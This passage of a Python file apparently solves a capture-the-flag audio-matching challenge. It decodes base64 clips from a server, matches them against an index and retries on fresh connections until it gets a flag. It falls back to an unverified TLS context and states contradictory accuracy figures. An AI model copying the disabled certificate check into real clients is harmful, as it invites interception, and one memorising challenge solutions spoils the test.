</div></div><div><div><div>76</div></div><div><span>    </span><span>def</span><span> </span><span>get_round</span><span>(</span><span>self</span><span>) -&gt; tuple[</span><span>bytes</span><span><span> </span><span>|</span><span> </span></span><span>None</span><span>, </span><span>bytes</span><span><span> </span><span>|</span><span> </span></span><span>None</span><span>]:</span></div></div><div><div><div>77</div></div><div><span>        </span><span>"""Read the next round header and its base64 payload, in order.</span></div></div><div><div><div>78</div></div><div>
</div></div><div><div><div>79</div></div><div><span><span>        </span></span><span>Everything before the payload (welcome banner, blank lines) is discarded</span></div></div><div><div><div>80</div></div><div><span><span>        </span></span><span>line by line, which keeps the ordering safe whether the server sends one</span></div></div><div><div><div>81</div></div><div><span><span>        </span></span><span>segment or several. A trailing '&gt; ' prompt is dropped if already buffered.</span></div></div><div><div><div>82</div></div><div><span><span>        </span></span><span>"""</span></div></div><div><div><div>83</div></div><div><span><span>        </span></span><span>header: </span><span>bytes</span><span><span> </span><span>|</span><span> </span></span><span>None</span><span><span> </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>84</div></div><div><span>        </span><span>for</span><span> _ </span><span>in</span><span> </span><span>range</span><span>(</span><span>8</span><span>):</span></div></div><div><div><div>85</div></div><div><span><span>            </span></span><span>ln </span><span>=</span><span> </span><span>self</span><span><span>.</span><span>line</span><span>()</span></span></div></div><div><div><div>86</div></div><div><span>            </span><span>if</span><span> ln </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>87</div></div><div><span>                </span><span>return</span><span> header, </span><span>None</span></div></div><div><div><div>88</div></div><div><span>            </span><span>if</span><span> </span><span>b</span><span>"[Round"</span><span> </span><span>in</span><span> ln:</span></div></div><div><div><div>89</div></div><div><span><span>                </span></span><span>header </span><span>=</span><span> ln</span></div></div><div><div><div>90</div></div><div><span>                </span><span>break</span></div></div><div><div><div>91</div></div><div><span>        </span><span>if</span><span> header </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>92</div></div><div><span>            </span><span>return</span><span> </span><span>None</span><span>, </span><span>None</span></div></div><div><div><div>93</div></div><div><span>        </span><span>for</span><span> _ </span><span>in</span><span> </span><span>range</span><span>(</span><span>8</span><span>):</span></div></div><div><div><div>94</div></div><div><span><span>            </span></span><span>ln </span><span>=</span><span> </span><span>self</span><span><span>.</span><span>line</span><span>()</span></span></div></div><div><div><div>95</div></div><div><span>            </span><span>if</span><span> ln </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>96</div></div><div><span>                </span><span>return</span><span> header, </span><span>None</span></div></div><div><div><div>97</div></div><div><span>            </span><span>if</span><span><span> </span><span>_is_payload</span><span>(ln):</span></span></div></div><div><div><div>98</div></div><div><span>                </span><span>self</span><span><span>.</span><span>drop_prompt</span><span>()</span></span></div></div><div><div><div>99</div></div><div><span>                </span><span>return</span><span> header, ln</span></div></div><div><div><div>100</div></div><div><span>        </span><span>return</span><span> header, </span><span>None</span></div></div><div><div><div>101</div></div><div>
</div></div><div><div><div>102</div></div><div>
</div></div><div><div><div>103</div></div><div><span>def</span><span> </span><span>_is_payload</span><span>(</span><span>ln</span><span>:</span><span> </span><span>bytes</span><span>) -&gt; </span><span>bool</span><span>:</span></div></div><div><div><div>104</div></div><div><span>    </span><span>"""True when `ln` is a base64 blob (and not a header / verdict / prompt)."""</span></div></div><div><div><div>105</div></div><div><span>    </span><span>if</span><span> </span><span>len</span><span><span>(ln) </span><span>&lt;</span><span> </span></span><span>256</span><span> </span><span>or</span><span><span> ln.</span><span>startswith</span><span>(</span></span><span>b</span><span>"["</span><span>):</span></div></div><div><div><div>106</div></div><div><span>        </span><span>return</span><span> </span><span>False</span></div></div><div><div><div>107</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>108</div></div><div><span><span>        </span></span><span>base64.</span><span>b64decode</span><span>(ln, </span><span>validate</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>109</div></div><div><span>    </span><span>except</span><span> </span><span>Exception</span><span>:</span></div></div><div><div><div>110</div></div><div><span>        </span><span>return</span><span> </span><span>False</span></div></div><div><div><div>111</div></div><div><span>    </span><span>return</span><span> </span><span>True</span></div></div><div><div><div>112</div></div><div>
</div></div><div><div><div>113</div></div><div>
</div></div><div><div><div>114</div></div><div><span>def</span><span> </span><span>_connect</span><span>(</span><span>host</span><span>:</span><span> </span><span>str</span><span>,</span><span><span> </span><span>port</span></span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>use_ssl</span></span><span>:</span><span> </span><span>bool</span><span>,</span><span><span> </span><span>sni</span></span><span>:</span><span> </span><span>str</span><span> </span><span>|</span><span><span> </span><span>None</span></span><span>) -&gt; socket.socket:</span></div></div><div><div><div>115</div></div><div><span>    </span><span>"""Plain or TLS-wrapped connection. The remote instance is served over TLS on</span></div></div><div><div><div>116</div></div><div><span><span>    </span></span><span>443 with SNI, so certificate verification uses the SNI host name."""</span></div></div><div><div><div>117</div></div><div><span><span>    </span></span><span>raw </span><span>=</span><span> socket.</span><span>create_connection</span><span>((host, port), </span><span>timeout</span><span>=</span><span>30.0</span><span>)</span></div></div><div><div><div>118</div></div><div><span>    </span><span>if</span><span> </span><span>not</span><span> use_ssl:</span></div></div><div><div><div>119</div></div><div><span>        </span><span>return</span><span> raw</span></div></div><div><div><div>120</div></div><div><span>    </span><span>import</span><span> ssl</span></div></div><div><div><div>121</div></div><div><span><span>    </span></span><span>ctx </span><span>=</span><span> ssl.</span><span>create_default_context</span><span>()</span></div></div><div><div><div>122</div></div><div><span><span>    </span></span><span>server_hostname </span><span>=</span><span> sni </span><span>or</span><span> host</span></div></div><div><div><div>123</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>124</div></div><div><span>        </span><span>return</span><span><span> ctx.</span><span>wrap_socket</span><span>(raw, </span></span><span>server_hostname</span><span><span>=</span><span>server_hostname)</span></span></div></div><div><div><div>125</div></div><div><span>    </span><span>except</span><span> ssl.SSLError:</span></div></div><div><div><div>126</div></div><div><span>        </span><span># some CTF endpoints present a self-signed certificate</span></div></div><div><div><div>127</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>128</div></div><div><span><span>            </span></span><span>raw.</span><span>close</span><span>()</span></div></div><div><div><div>129</div></div><div><span>        </span><span>except</span><span> </span><span>OSError</span><span>:</span></div></div><div><div><div>130</div></div><div><span>            </span><span>pass</span></div></div><div><div><div>131</div></div><div><span><span>        </span></span><span>raw </span><span>=</span><span> socket.</span><span>create_connection</span><span>((host, port), </span><span>timeout</span><span>=</span><span>30.0</span><span>)</span></div></div><div><div><div>132</div></div><div><span><span>        </span></span><span>ctx </span><span>=</span><span> ssl.</span><span>_create_unverified_context</span><span>()</span></div></div><div><div><div>133</div></div><div><span>        </span><span>return</span><span><span> ctx.</span><span>wrap_socket</span><span>(raw, </span></span><span>server_hostname</span><span><span>=</span><span>server_hostname)</span></span></div></div><div><div><div>134</div></div><div>
</div></div><div><div><div>135</div></div><div>
</div></div><div><div><div>136</div></div><div><span>def</span><span> </span><span>run_worker</span><span>(</span><span>host</span><span>:</span><span> </span><span>str</span><span>,</span><span><span> </span><span>port</span></span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>worker_id</span></span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>args</span></span><span>:</span><span> </span><span>dict</span><span>,</span></div></div><div><div><div>137</div></div><div><span><span>               </span></span><span>matcher</span><span>=</span><span>None</span><span>) -&gt; </span><span>dict</span><span>:</span></div></div><div><div><div>138</div></div><div><span>    </span><span>"""One worker = a sequence of attempts, each on a fresh connection.</span></div></div><div><div><div>139</div></div><div>
</div></div><div><div><div>140</div></div><div><span><span>    </span></span><span>Per-round accuracy is ~85-95 % with the z-scored front-end, but the threshold is</span></div></div><div><div><div>141</div></div><div><span><span>    </span></span><span>9/10, so a single attempt still fails sometimes. Every fresh connection gets its</span></div></div><div><div><div>142</div></div><div><span><span>    </span></span><span>OWN 3.0 s budget and its own random rounds, so a failed attempt is simply retried</span></div></div><div><div><div>143</div></div><div><span><span>    </span></span><span>on a new connection.</span></div></div><div><div><div>144</div></div><div>
</div></div><div><div><div>145</div></div><div><span><span>    </span></span><span>`matcher` may be passed in so sequential mode builds the ~700 MiB coarse index</span></div></div><div><div><div>146</div></div><div><span><span>    </span></span><span>once instead of once per worker.</span></div></div><div><div><div>147</div></div><div><span><span>    </span></span><span>"""</span></div></div><div><div><div>148</div></div><div><span><span>    </span></span><span>sys.path.</span><span>insert</span><span>(</span><span>0</span><span>, </span><span>str</span><span><span>(</span><span>WORKSPACE</span><span>))</span></span></div></div><div><div><div>149</div></div><div>
</div></div><div><div><div>150</div></div><div><span><span>    </span></span><span>max_attempts </span><span>=</span><span> </span><span>int</span><span><span>(args.</span><span>get</span><span>(</span></span><span>"attempts"</span><span>, </span><span>1</span><span>))</span></div></div><div><div><div>151</div></div><div><span>    </span><span>if</span><span> matcher </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>152</div></div><div><span>        </span><span>from</span><span> challenge_fastmatch </span><span>import</span><span> LogMelMatcher</span></div></div><div><div><div>153</div></div><div><span><span>        </span></span><span>matcher </span><span>=</span><span> </span><span>LogMelMatcher</span><span>(</span><span>verbose</span><span>=</span><span>False</span><span>)</span></div></div><div><div><div>154</div></div><div><span><span>    </span></span><span>overall </span><span>=</span><span> {</span><span>"worker"</span><span>: worker_id, </span><span>"correct"</span><span>: </span><span>0</span><span>, </span><span>"rounds"</span><span>: </span><span>0</span><span>, </span><span>"flag"</span><span>: </span><span>None</span><span>,</span></div></div><div><div><div>155</div></div><div><span>               </span><span>"error"</span><span>: </span><span>None</span><span>, </span><span>"latencies"</span><span>: [], </span><span>"attempts"</span><span>: </span><span>0</span><span>, </span><span>"best"</span><span>: </span><span>0</span><span>}</span></div></div><div><div><div>156</div></div><div>
</div></div><div><div><div>157</div></div><div><span>    </span><span>for</span><span> attempt </span><span>in</span><span> </span><span>range</span><span>(</span><span>1</span><span><span>, max_attempts </span><span>+</span><span> </span></span><span>1</span><span>):</span></div></div><div><div><div>158</div></div><div><span>        </span><span>if</span><span><span> max_attempts </span><span>&gt;</span><span> </span></span><span>1</span><span>:</span></div></div><div><div><div>159</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"[w</span><span>{</span><span>worker_id</span><span>:02d</span><span>}</span><span>] === attempt </span><span>{</span><span>attempt</span><span>}</span><span>/</span><span>{</span><span>max_attempts</span><span>}</span><span> "</span></div></div><div><div><div>160</div></div><div><span>                  </span><span>f</span><span>"(fresh connection, new 3 s budget) ==="</span><span>, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>161</div></div><div><span><span>        </span></span><span>res </span><span>=</span><span> </span><span>_one_attempt</span><span>(matcher, host, port, worker_id, args)</span></div></div><div><div><div>162</div></div><div><span><span>        </span></span><span>overall[</span><span>"attempts"</span><span><span>] </span><span>=</span><span> attempt</span></span></div></div><div><div><div>163</div></div><div><span><span>        </span></span><span>overall[</span><span>"rounds"</span><span><span>] </span><span>+=</span><span> res[</span></span><span>"rounds"</span><span>]</span></div></div><div><div><div>164</div></div><div><span><span>        </span></span><span>overall[</span><span>"latencies"</span><span><span>] </span><span>+=</span><span> res[</span></span><span>"latencies"</span><span>]</span></div></div><div><div><div>165</div></div><div><span><span>        </span></span><span>overall[</span><span>"best"</span><span><span>] </span><span>=</span><span> </span></span><span>max</span><span>(overall[</span><span>"best"</span><span>], res[</span><span>"correct"</span><span>])</span></div></div><div><div><div>166</div></div><div><span>        </span><span>if</span><span> res[</span><span>"flag"</span><span>]:</span></div></div><div><div><div>167</div></div><div><span><span>            </span></span><span>overall[</span><span>"flag"</span><span><span>] </span><span>=</span><span> res[</span></span><span>"flag"</span><span>]</span></div></div><div><div><div>168</div></div><div><span><span>            </span></span><span>overall[</span><span>"correct"</span><span><span>] </span><span>=</span><span> res[</span></span><span>"correct"</span><span>]</span></div></div><div><div><div>169</div></div><div><span>            </span><span>return</span><span> overall</span></div></div><div><div><div>170</div></div><div><span>        </span><span>if</span><span> res[</span><span>"error"</span><span>] </span><span>and</span><span> res[</span><span>"rounds"</span><span><span>] </span><span>==</span><span> </span></span><span>0</span><span> </span><span>and</span><span><span> attempt </span><span>&lt;</span><span> max_attempts:</span></span></div></div><div><div><div>171</div></div><div><span><span>            </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.3</span><span>)</span></div></div><div><div><div>172</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>173</div></div><div><span>        </span><span>if</span><span><span> attempt </span><span>&lt;</span><span> max_attempts:</span></span></div></div><div><div><div>174</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"  [w</span><span>{</span><span>worker_id</span><span>:02d</span><span>}</span><span>] attempt </span><span>{</span><span>attempt</span><span>}</span><span>: </span><span>{</span><span>res[</span><span>'correct'</span><span>]</span><span>}</span><span>/10 - retrying"</span><span>,</span></div></div><div><div><div>175</div></div><div><span>                  </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>176</div></div><div><span><span>    </span></span><span>overall[</span><span>"correct"</span><span><span>] </span><span>=</span><span> overall[</span></span><span>"best"</span><span>]</span></div></div><div><div><div>177</div></div><div><span>    </span><span>if</span><span> overall[</span><span>"best"</span><span><span>] </span><span>&lt;</span><span> </span></span><span>9</span><span>:</span></div></div><div><div><div>178</div></div><div><span><span>        </span></span><span>overall[</span><span>"error"</span><span><span>] </span><span>=</span><span> overall[</span></span><span>"error"</span><span>] </span><span>or</span><span> </span><span>f</span><span>"best </span><span>{</span><span>overall[</span><span>'best'</span><span>]</span><span>}</span><span>/10 over </span><span>{</span><span>overall[</span><span>'attempts'</span><span>]</span><span>}</span><span> attempts"</span></div></div><div><div><div>179</div></div><div><span>    </span><span>return</span><span> overall</span></div></div><div><div><div>180</div></div><div>
</div></div><div><div><div>181</div></div><div>
</div></div><div><div><div>182</div></div><div><span>def</span><span> </span><span>_one_attempt</span><span>(</span><span>matcher</span><span>,</span><span><span> </span><span>host</span></span><span>:</span><span> </span><span>str</span><span>,</span><span><span> </span><span>port</span></span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>worker_id</span></span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>args</span></span><span>:</span><span> </span><span>dict</span><span>) -&gt; </span><span>dict</span><span>:</span></div></div><div><div><div>183</div></div><div><span><span>    </span></span><span>res </span><span>=</span><span> {</span><span>"worker"</span><span>: worker_id, </span><span>"correct"</span><span>: </span><span>0</span><span>, </span><span>"rounds"</span><span>: </span><span>0</span><span>, </span><span>"flag"</span><span>: </span><span>None</span><span>,</span></div></div><div><div><div>184</div></div><div><span>           </span><span>"error"</span><span>: </span><span>None</span><span>, </span><span>"latencies"</span><span>: []}</span></div></div><div><div><div>185</div></div><div>
</div></div><div><div><div>186</div></div><div><span><span>    </span></span><span>sock </span><span>=</span><span> </span><span>None</span></div></div><div><div><div>187</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>188</div></div><div><span><span>        </span></span><span>sock </span><span>=</span><span> </span><span>_connect</span><span>(host, port, </span><span>bool</span><span><span>(args.</span><span>get</span><span>(</span></span><span>"ssl"</span><span><span>)), args.</span><span>get</span><span>(</span></span><span>"sni"</span><span>))</span></div></div><div><div><div>189</div></div><div><span>    </span><span>except</span><span> </span><span>Exception</span><span> </span><span>as</span><span> exc:</span></div></div><div><div><div>190</div></div><div><span><span>        </span></span><span>res[</span><span>"error"</span><span><span>] </span><span>=</span><span> </span></span><span>f</span><span>"connect: </span><span>{</span><span>exc</span><span>}</span><span>"</span></div></div><div><div><div>191</div></div><div><span>        </span><span>return</span><span> res</span></div></div><div><div><div>192</div></div><div>
</div></div><div><div><div>193</div></div><div><span><span>    </span></span><span>lines </span><span>=</span><span> </span><span>Lines</span><span>(sock, </span><span>timeout</span><span>=</span><span>30.0</span><span>)</span></div></div><div><div><div>194</div></div><div><span><span>    </span></span><span>verbose </span><span>=</span><span> </span><span>bool</span><span><span>(args.</span><span>get</span><span>(</span></span><span>"verbose"</span><span>))</span></div></div><div><div><div>195</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>196</div></div><div><span>        </span><span># The welcome banner, round header, payload and "&gt; " prompt usually arrive in</span></div></div><div><div><div>197</div></div><div><span>        </span><span># ONE segment, so get_round() handles them in order and the prompt is dropped</span></div></div><div><div><div>198</div></div><div><span>        </span><span># if it is already buffered - never block waiting for it before answering.</span></div></div><div><div><div>199</div></div><div><span>        </span><span>while</span><span> res[</span><span>"rounds"</span><span><span>] </span><span>&lt;</span><span> </span></span><span>10</span><span>:</span></div></div><div><div><div>200</div></div><div><span><span>            </span></span><span>head, payload </span><span>=</span><span> lines.</span><span>get_round</span><span>()</span></div></div><div><div><div>201</div></div><div><span>            </span><span>if</span><span> head </span><span>is</span><span> </span><span>None</span><span> </span><span>or</span><span> payload </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>202</div></div><div><span><span>                </span></span><span>res[</span><span>"error"</span><span><span>] </span><span>=</span><span> res[</span></span><span>"error"</span><span>] </span><span>or</span><span> </span><span>"connection closed before a full round"</span></div></div><div><div><div>203</div></div><div><span>                </span><span>break</span></div></div><div><div><div>204</div></div><div>
</div></div><div><div><div>205</div></div><div><span><span>            </span></span><span>t0 </span><span>=</span><span> time.</span><span>perf_counter</span><span>()</span></div></div><div><div><div>206</div></div><div><span><span>            </span></span><span>ranked, info </span><span>=</span><span> matcher.</span><span>match_b64</span><span>(payload.</span><span>decode</span><span>(</span><span>"ascii"</span><span>))</span></div></div><div><div><div>207</div></div><div><span><span>            </span></span><span>track, start, score, shift </span><span>=</span><span> ranked[</span><span>0</span><span>]</span></div></div><div><div><div>208</div></div><div><span><span>            </span></span><span>answer </span><span>=</span><span> </span><span>f</span><span>"</span><span>{</span><span>track</span><span>}</span><span>_</span><span>{</span><span>start</span><span>}</span><span>"</span></div></div><div><div><div>209</div></div><div><span><span>            </span></span><span>sock.</span><span>sendall</span><span>((answer </span><span>+</span><span> </span><span>b</span><span>"</span><span>\n</span><span>"</span><span><span>).</span><span>encode</span><span>() </span></span><span>if</span><span> </span><span>isinstance</span><span>(answer, </span><span>bytes</span><span>)</span></div></div><div><div><div>210</div></div><div><span>                         </span><span>else</span><span><span> (answer </span><span>+</span><span> </span></span><span>"</span><span>\n</span><span>"</span><span><span>).</span><span>encode</span><span>())</span></span></div></div><div><div><div>211</div></div><div><span><span>            </span></span><span>dt </span><span>=</span><span> time.</span><span>perf_counter</span><span>() </span><span>-</span><span> t0</span></div></div><div><div><div>212</div></div><div><span><span>            </span></span><span>res[</span><span>"latencies"</span><span><span>].</span><span>append</span><span>(dt)</span></span></div></div><div><div><div>213</div></div><div><span><span>            </span></span><span>res[</span><span>"rounds"</span><span><span>] </span><span>+=</span><span> </span></span><span>1</span></div></div><div><div><div>214</div></div><div>
</div></div><div><div><div>215</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"  [w</span><span>{</span><span>worker_id</span><span>:02d</span><span>}</span><span> r</span><span>{</span><span>res[</span><span>'rounds'</span><span>]</span><span>:2d</span><span>}</span><span>] </span><span>{</span><span><span>dt</span><span>*</span></span><span>1000</span><span>:6.0f</span><span>}</span><span> ms -&gt; "</span></div></div><div><div><div>216</div></div><div><span>                  </span><span>f</span><span>"ans=</span><span>{</span><span>answer</span><span>}</span><span>  score=</span><span>{</span><span>score</span><span>:.4f</span><span>}</span><span>  shift=</span><span>{</span><span>shift</span><span>:+d</span><span>}</span><span>"</span></div></div><div><div><div>217</div></div><div><span><span>                  </span></span><span>+</span><span> (</span><span>f</span><span>"  margin=</span><span>{</span><span>ranked[</span><span>0</span><span>][</span><span>2</span><span><span>]</span><span>-</span><span>ranked[</span></span><span>1</span><span>][</span><span>2</span><span>]</span><span>:+.4f</span><span>}</span><span>"</span></div></div><div><div><div>218</div></div><div><span>                     </span><span>f</span><span>"  runner-up=</span><span>{</span><span>ranked[</span><span>1</span><span>][</span><span>0</span><span>]</span><span>}</span><span>"</span><span> </span><span>if</span><span> </span><span>len</span><span><span>(ranked) </span><span>&gt;</span><span> </span></span><span>1</span><span> </span><span>else</span><span> </span><span>""</span><span>),</span></div></div><div><div><div>219</div></div><div><span>                  </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>220</div></div><div>
</div></div><div><div><div>221</div></div><div><span><span>            </span></span><span>verdict </span><span>=</span><span> lines.</span><span>line</span><span>() </span><span>or</span><span> </span><span>b</span><span>""</span></div></div><div><div><div>222</div></div><div><span>            </span><span>if</span><span> </span><span>b</span><span>"Correct!"</span><span> </span><span>in</span><span> verdict:</span></div></div><div><div><div>223</div></div><div><span><span>                </span></span><span>res[</span><span>"correct"</span><span><span>] </span><span>+=</span><span> </span></span><span>1</span></div></div><div><div><div>224</div></div><div><span>                </span><span>print</span><span>(</span><span>f</span><span>"  [w</span><span>{</span><span>worker_id</span><span>:02d</span><span>}</span><span> r</span><span>{</span><span>res[</span><span>'rounds'</span><span>]</span><span>:2d</span><span>}</span><span>] -&gt; Correct!  "</span></div></div><div><div><div>225</div></div><div><span>                      </span><span>f</span><span>"(</span><span>{</span><span>res[</span><span>'correct'</span><span>]</span><span>}</span><span>/</span><span>{</span><span>res[</span><span>'rounds'</span><span>]</span><span>}</span><span>)"</span><span>, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>226</div></div><div><span>            </span><span>else</span><span>:</span></div></div><div><div><div>227</div></div><div><span>                </span><span>print</span><span>(</span><span>f</span><span>"  [w</span><span>{</span><span>worker_id</span><span>:02d</span><span>}</span><span> r</span><span>{</span><span>res[</span><span>'rounds'</span><span>]</span><span>:2d</span><span>}</span><span>] -&gt; Wrong... "</span></div></div><div><div><div>228</div></div><div><span>                      </span><span>f</span><span>"(</span><span>{</span><span>res[</span><span>'correct'</span><span>]</span><span>}</span><span>/</span><span>{</span><span>res[</span><span>'rounds'</span><span>]</span><span>}</span><span>)"</span><span>, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>229</div></div><div><span><span>            </span></span><span>m </span><span>=</span><span> </span><span>FLAG_RE</span><span>.</span><span>search</span><span>(verdict)</span></div></div><div><div><div>230</div></div><div><span>            </span><span>if</span><span> m:</span></div></div><div><div><div>231</div></div><div><span><span>                </span></span><span>res[</span><span>"flag"</span><span><span>] </span><span>=</span><span> m.</span><span>group</span><span>(</span></span><span>1</span><span><span>).</span><span>decode</span><span>()</span></span></div></div><div><div><div>232</div></div><div><span>                </span><span>return</span><span> res</span></div></div><div><div><div>233</div></div><div><span>            </span><span>if</span><span> </span><span>b</span><span>"Fail..."</span><span> </span><span>in</span><span> verdict:</span></div></div><div><div><div>234</div></div><div><span>                </span><span>return</span><span> res</span></div></div><div><div><div>235</div></div><div>
</div></div><div><div><div>236</div></div><div><span>        </span><span># after round 10 the flag arrives on its own line</span></div></div><div><div><div>237</div></div><div><span><span>        </span></span><span>tail_all </span><span>=</span><span> </span><span>b</span><span>""</span></div></div><div><div><div>238</div></div><div><span>        </span><span>for</span><span> _ </span><span>in</span><span> </span><span>range</span><span>(</span><span>5</span><span>):</span></div></div><div><div><div>239</div></div><div><span><span>            </span></span><span>tail </span><span>=</span><span> lines.</span><span>line</span><span>()</span></div></div><div><div><div>240</div></div><div><span>            </span><span>if</span><span> tail </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>241</div></div><div><span>                </span><span>break</span></div></div><div><div><div>242</div></div><div><span><span>            </span></span><span>tail_all </span><span>+=</span><span> tail </span><span>+</span><span> </span><span>b</span><span>"</span><span>\n</span><span>"</span></div></div><div><div><div>243</div></div><div><span><span>            </span></span><span>m </span><span>=</span><span> </span><span>FLAG_RE</span><span>.</span><span>search</span><span>(tail)</span></div></div><div><div><div>244</div></div><div><span>            </span><span>if</span><span> m:</span></div></div><div><div><div>245</div></div><div><span><span>                </span></span><span>res[</span><span>"flag"</span><span><span>] </span><span>=</span><span> m.</span><span>group</span><span>(</span></span><span>1</span><span><span>).</span><span>decode</span><span>()</span></span></div></div><div><div><div>246</div></div><div><span>                </span><span>return</span><span> res</span></div></div><div><div><div>247</div></div><div><span>            </span><span>if</span><span> </span><span>b</span><span>"Fail..."</span><span> </span><span>in</span><span> tail:</span></div></div><div><div><div>248</div></div><div><span>                </span><span>break</span></div></div><div><div><div>249</div></div><div><span><span>        </span></span><span>res[</span><span>"error"</span><span><span>] </span><span>=</span><span> </span></span><span>f</span><span>"no flag; tail=</span><span>{</span><span>tail_all[:</span><span>200</span><span>]</span><span>!r</span><span>}</span><span>"</span></div></div><div><div><div>250</div></div><div><span>        </span><span>return</span><span> res</span></div></div><div><div><div>251</div></div><div><span>    </span><span>except</span><span> </span><span>Exception</span><span> </span><span>as</span><span> exc:</span></div></div><div><div><div>252</div></div><div><span><span>        </span></span><span>res[</span><span>"error"</span><span><span>] </span><span>=</span><span> </span></span><span>f</span><span>"</span><span>{</span><span>type</span><span>(exc).</span><span>__name__</span><span>}</span><span>: </span><span>{</span><span>exc</span><span>}</span><span>"</span></div></div><div><div><div>253</div></div><div><span>        </span><span>return</span><span> res</span></div></div><div><div><div>254</div></div><div><span>    </span><span>finally</span><span>:</span></div></div><div><div><div>255</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>256</div></div><div><span><span>            </span></span><span>sock.</span><span>close</span><span>()</span></div></div><div><div><div>257</div></div><div><span>        </span><span>except</span><span> </span><span>OSError</span><span>:</span></div></div><div><div><div>258</div></div><div><span>            </span><span>pass</span></div></div><div><div><div>259</div></div><div>
</div></div><div><div><div>260</div></div><div>
</div></div><div><div><div>261</div></div><div><span>def</span><span> </span><span>main</span><span>() -&gt; </span><span>int</span><span>:</span></div></div><div><div><div>262</div></div><div><span><span>    </span></span><span>ap </span><span>=</span><span> argparse.</span><span>ArgumentParser</span><span>(</span><span>description</span><span>=</span><span>"solve the find-it audio challenge"</span><span>)</span></div></div><div><div><div>263</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--host"</span><span>, </span><span>default</span><span>=</span><span>"127.0.0.1"</span><span>)</span></div></div><div><div><div>264</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--port"</span><span>, </span><span>type</span><span>=</span><span>int</span><span>, </span><span>default</span><span>=</span><span>9999</span><span>)</span></div></div><div><div><div>265</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--ssl"</span><span>, </span><span>action</span><span>=</span><span>"store_true"</span><span>, </span><span>help</span><span>=</span><span>"wrap the connection in TLS"</span><span>)</span></div></div><div><div><div>266</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--sni"</span><span>, </span><span>default</span><span>=</span><span>None</span><span>, </span><span>help</span><span>=</span><span>"TLS SNI / certificate host name"</span><span>)</span></div></div><div><div><div>267</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--workers"</span><span>, </span><span>type</span><span>=</span><span>int</span><span>, </span><span>default</span><span>=</span><span>6</span><span>,</span></div></div><div><div><div>268</div></div><div><span>                    </span><span>help</span><span>=</span><span>"parallel connections. Keep this modest: stress testing showed a "</span></div></div><div><div><div>269</div></div><div><span>                         </span><span>"single-threaded server only serves ~9 concurrent clients, and the "</span></div></div><div><div><div>270</div></div><div><span>                         </span><span>"rest get queued until their 3 s budget expires. Prefer attempts."</span><span>)</span></div></div><div><div><div>271</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--attempts"</span><span>, </span><span>type</span><span>=</span><span>int</span><span>, </span><span>default</span><span>=</span><span>8</span><span>,</span></div></div><div><div><div>272</div></div><div><span>                    </span><span>help</span><span>=</span><span>"max separate connections per worker (each gets a fresh 3 s budget). "</span></div></div><div><div><div>273</div></div><div><span>                         </span><span>"Per-round accuracy is ~75-80 </span><span>%%</span><span>, so one 10-round attempt usually "</span></div></div><div><div><div>274</div></div><div><span>                         </span><span>"falls short of 9/10; retries are what make the solve reliable."</span><span>)</span></div></div><div><div><div>275</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--sequential"</span><span>, </span><span>action</span><span>=</span><span>"store_true"</span><span>,</span></div></div><div><div><div>276</div></div><div><span>                    </span><span>help</span><span>=</span><span>"one connection at a time (retry after retry) instead of N in "</span></div></div><div><div><div>277</div></div><div><span>                         </span><span>"parallel. Gentlest on the server and by far the easiest output "</span></div></div><div><div><div>278</div></div><div><span>                         </span><span>"to follow; the coarse index is built once and reused."</span><span>)</span></div></div><div><div><div>279</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--verbose"</span><span>, </span><span>action</span><span>=</span><span>"store_true"</span><span>,</span></div></div><div><div><div>280</div></div><div><span>                    </span><span>help</span><span>=</span><span>"kept for compatibility; per-round detail is always shown"</span><span>)</span></div></div><div><div><div>281</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--no-pause"</span><span>, </span><span>action</span><span>=</span><span>"store_true"</span><span>,</span></div></div><div><div><div>282</div></div><div><span>                    </span><span>help</span><span>=</span><span>"do not wait for Enter before exiting (pause is automatic when "</span></div></div><div><div><div>283</div></div><div><span>                         </span><span>"stdin is a terminal, and skipped when output is piped)"</span><span>)</span></div></div><div><div><div>284</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--worker-id"</span><span>, </span><span>type</span><span>=</span><span>int</span><span>, </span><span>default</span><span>=</span><span>None</span><span>,</span></div></div><div><div><div>285</div></div><div><span>                    </span><span>help</span><span>=</span><span>"internal: run a single worker and 